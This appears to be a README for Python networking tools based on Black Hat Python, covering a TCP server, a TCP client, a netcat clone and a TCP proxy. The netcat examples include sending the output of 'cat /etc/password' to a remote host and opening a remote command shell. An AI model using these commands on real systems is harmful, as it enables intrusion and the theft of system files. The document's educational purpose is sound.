Collection of Python scripts for networking. Based on the book Black Hat Python.
Start a server and receive data using TCP protocol.
TCPServer <port> [--all] [--max <n>]
port: The port number.
--all: Use all network interfaces.
--max: Maximum simultaneous connections.
Example:
TCPServer 5555 --max 3
Start a server on port 5555 with a maximum of 3 simultaneous connections.
Send data to host using TCP protocol.
TCPClient <ip> <port> <data>
ip: The IPv4 address to send the data to.
port: The port number to send the data to.
data: The data to send.
Example:
TCPClient 192.168.1.1 5555 "Hello there!"
Send 'Hello there!' to the server at 192.168.1.1 on port 5555.
Netcat utility for networking.
Netcat [--target <ip>] [--port <port>] [--command] [--execute <command>] [--listen]
--target: The IPv4 address to connect to.
--port: The port number to open or connect to.
--command: Run a command shell.
--execute: Execute a command.
--listen: Listen to incoming connections.
Examples:
Netcat -p 5555 -l
Listen to incoming connection (Target mode) on port 5555.
Netcat -t 192.168.1.10 -p 5555 -e="cat /etc/password"
Execute the command 'cat /etc/password' and send the result to the target at 192.168.1.10 on port 5555.
Netcat -t 192.168.1.10 -p 5555 -c
Run a shell prompt and connect to the target at 192.168.1.10 on port 5555 to send the results to.
Forward TCP traffic from localhost to target.
TCPProxy <port> <target-host> <target-port> [--receiveFirst] [--timeout <seconds>]
port: The port number to redirect.
target-host: The IPv4 address or hostname to redirect to.
target-port: The port number to redirect to.
--receiveFirst: Receive data first when connection is established.
--timeout: Connection time-out in seconds.
Examples:
TCPProxy 21 ftp.sun.ac.za 21 --receiveFirst --timeout 10
Redirect connection on port 21 to ftp server.